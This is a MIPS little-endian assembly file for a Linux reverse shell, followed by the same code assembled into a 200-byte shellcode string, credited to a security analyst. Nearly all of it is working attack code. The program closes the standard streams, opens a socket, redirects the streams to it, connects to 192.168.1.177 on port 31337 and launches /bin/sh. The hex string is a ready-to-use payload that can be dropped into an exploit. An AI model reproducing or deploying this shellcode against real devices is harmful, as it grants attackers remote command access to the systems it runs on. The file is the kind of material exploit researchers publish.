# MIPS Little Endian Reverse Shell ASM File and Assembled Shellcode
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com
.data
.bss
.text
.globl _start
_start:
#Close stdin(0)
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424
#Close stdout(1)
slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424
#Close stderr(2)
li $t4, 0xFFFFFFFD #-3
not $a0, $t4
li $v0, 4006
syscall 0x42424
#Socket Domain - AF_INET (2)
li $t4, 0xFFFFFFFD #-3
not $a0, $t4
#Socket Type - SOCK_STREAM (2 for mips)
not $a1, $t4
#Socket Protocol - 0
slti $a2, $zero, 0xFFFF
#Call socket
li $v0, 4183
syscall 0x42424
#Move socket return value (v0) to register a0
#V0 must be below 0xFFFF/65535
andi $a0, $v0, 0xFFFF
#Calling dup three times
#Duplicate FD (stdin)
#Socket returned fd 0 - stdin goes to socket
#-----
#Duplicate FD (stdout)
li $v0, 4041
syscall 0x42424
#Duplicate FD (stderr)
li $v0, 4041
syscall 0x42424
#Connect sockfd
#Socket FD is already in a0
#-----
#Connect sockaddr
lui $a1, 0x6979 #Port:
ori $a1, 0xFF01 #31337
addi $a1, $a1, 0x0101
sw $a1, -8($sp)
li $a1, 0xB101A8C0 #192.168.1.177
sw $a1, -4($sp)
addi $a1, $sp, -8
#Connect addrlen - 16
li $t4, 0xFFFFFFEF #-17
not $a2, $t4
#Call connect
li $v0, 4170
syscall 0x42424
#Putting /bin/sh onto the stack
lui $t0, 0x6962 #Loading Upper Immediate - ib
ori $t0, $t0,0x2f2f #Bitwise OR Immediate - //
sw $t0, -20($sp) #Store word pointer to command string for execution
#
lui $t0, 0x6873 #Loading Upper Immediate - hs
ori $t0, 0x2f6e #Bitwise OR Immediate - /n
sw $t0, -16($sp) #Store word pointer to command string for execution
#
slti $a3, $zero, 0xFFFF #Putting null (0) onto stack
sw $a3, -12($sp)
sw $a3, -4($sp)
#execve *filename
addi $a0, $sp, -20
#execve *argv[]
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8
#
addiu $sp, $sp, -20 #Adjusting stack
#
#execve envp[] - 0
slti $a2, $zero, 0xFFFF
#Call execve
li $v0, 4011
syscall 0x42424
# NOTE: Assembled shellcode
#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#Connects on 192.168.1.177:31337
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"